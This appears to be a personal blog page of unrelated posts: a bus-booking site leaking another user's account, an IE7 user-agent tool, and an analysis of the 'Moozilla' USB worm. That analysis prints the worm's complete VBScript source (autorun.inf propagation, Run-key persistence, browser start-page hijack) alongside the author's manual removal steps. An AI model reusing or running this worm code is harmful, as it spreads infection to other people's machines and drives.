Me : How will life be if everything one proclaims seems to be true?

Balaji : Life will be boring.

Even our Indian railways did not stay back in this race and plunged in with the offer to book tickets three months in advance to the journey. I have used it and it is kind of ok. I was trying to use a local and famous bus travels’ site today to check for availability of bus tickets. They wanted me to register before I queried their system. I obliged and registered. Logged in and was trying to block some tickets and when I hit the back button in my browser accidentally, it took me to another person’s account with the name Karthick. I was able to view his mobile number, email address and even had an option to change the password to his account. I was shocked and immediately mailed the person and alerted him of the vulnerability this site had. Now that, I am afraid to suggest anyone of online shopping.

Why does not Indian e-commerce websites look for the best in the market and use those techniques?

How can one give the credit card information to such poor sites?

Why does not Indian e-booking sites accept a pay partner like Paypal?

P.S.:- I have listed below the sites I use frequently for online booking and have not found any problems as of now.

Indian Railways Satyam Cinemas Inox movies India gifts portal

Browse and Explorer Hijack ?

Yes. IE gets hijacked after the infection and whenevr IE is opened up, home page gets hijacked and re-routed to http://www.lastchaos.in.th/ .

Apart from the browser hijack, it hacks the windows explorer. In a infected machine, left double click will not work to open the drives under the windows explorer. Right click and open or explore will do that. So, it hijacks the IE and also the windows explorer.

File and Location

The file name which does this hack is IISDLL.dll.vbs and its location is in c:\IISDLL.dll.vbs and C:\Windows\IISDLL.dll.vbs.

The file has read-only attribute and does not allow to make changes to it. One need to change the attibute for making changes to the file.

Mode of Infection?

Going by the script, the mode of infection is through flash or thumb drives. Be careful with yours as machines are rapidly infected with this file.

Solution?

Have tried cleaning the machines with all AV software I could think of and nothing seems to work. I am planning to write a counter script to nullify this one. Till then watch this space for a proper solution.

Where is the script?

If your machine is infected, you can locate the file and right click and edit it with a notepad. If your machine is not infected but you are curious to know what the script does, see below.

IISDLL.dll.vbs

‘My name is Sukorn test script for bootsecter
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe IISDLL.dll.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\IISDLL.dll.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\IISDLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\IISDLL.dll.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\IISDLL.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\IISDLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\IISDLL.dll.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,winpath&”\IISDLL.dll.vbs”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”Hacked by MOOzilla”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”,”http://www.lastchaos.in.th/”
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

Update

What this moozilla does?

Moozilla hijack is not a malicious program to damage the machine. It is a small windows vb script to hijack the start page of your browser to some Thailand site. The autorun.inf file gets copied to the flash drive from a infected machine. When the flash drive is inserted in another machine, the autoplay feature activates the autotun.inf and copies the ISSDLL.vbs and autorun.inf files to all the drives except A:\ . May be the script writer likes floppy very much.

Have removed the hacked by moozilla browser hijacker off my machine.
Here are the manual removal instructions. Watch this space for an automated script to remove the hijack off the machine.

Disclaimer

The solution given here worked for me and it may or may not work for you. In no way, I am responsible if anything happens to your machine after following the steps given below. if the solution helped you, leave a comment down which will make me smile and increase a day my lifetime. You can leave a comment if it did not work, but show some courtesy. I don’t want blood oozing out of my ears after reading your comments.

Manual Removal Instructions for Moozilla browser hijack

1. Start the Windows in Safe mode. Read Instructions on how to start the Windows in Safe mode.

2. Take out the USB storage devices if any plugged in. Any flash or thumb drives.

3. Open My Computer and look for the number of drives you have. You may have around 3 to 5 drives apart from the A:\ (if you have floppy) or an optical drive (CD or DVD drives).

4. Each drive will be marked by letters like E: ,F: etc;

To make the computer to show hidden files and fodlers, click tools in My computer and click folder options and click view. In the series of check boxes and radio buttons, do the following three things.

a. Click Show hidden files and folders.

b. Uncheck the box Hide extensions for known file types.

c. Uncheck the box Hide Protected Operating system files (Recommended).

5. Click Start and click Run Type C:\ and hit enter.

6. Look out for the files named autorun.inf and ISSDLL.dll.vbs. Select them one by one and hit shift+delete keys together.

Navigate to the windows folder under C:\drive and look for the same files and sgift+delete them.

7. In the same way, follow the steps for all the drives listed under MY Computer.

8. Click Start and click Run. Type regedit and click OK. This will open the registry editor.

9. Back up the registry before making any changes to it as it may cause dangerous implications to the machine. Read how to backup windows registry?

10. Navigate to the key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\ and delete Start Page on the right hand side.

Navigate to the key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\ and delete Window Title on the right hand side.

Navigate to the key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run and delete MS32DLL on the right hand side.

11. Restart the machine and Open IE and windows explorer to see that moozilla is gone. Enjoy!

Thanks to Balaji, Yahoo domains, Dreamhost,WordPress consultsabaree.com is ready to rock.

Hope all your support will be extended to Sabaree as well.

You have IE 7.0 as the only browser installed in your Windows XP or Vista machine. You are forced to open a website built only for IE 6.0 or earlier versions. You do not have not have options of other browsers. What will you do? Time to apply the brakes? Nah! Read ahead…
Solution :
Relax! You are not the only one who is struck up. Folks at Microsoft thought about this and have released a handy tool for Internet Explorer 7.0 to open a browser window emulating IE 6.0. It is User Agent String Utility version 2. It downloads in a few seconds and installs within a minute.
So, for all those websites coded only for IE 6.0 or earlier can be opened with this small tool. Works fine in Windows vista too.
You need to have a genuine copy of windows for this installation. Oops! Forgot that IE 7.0 does not install in pirated copies. Or did someone already break the rules?

P.S. :- For those of you who really wanted to know how User agent string works. Rest of you, grab the tool and enjoy surfing.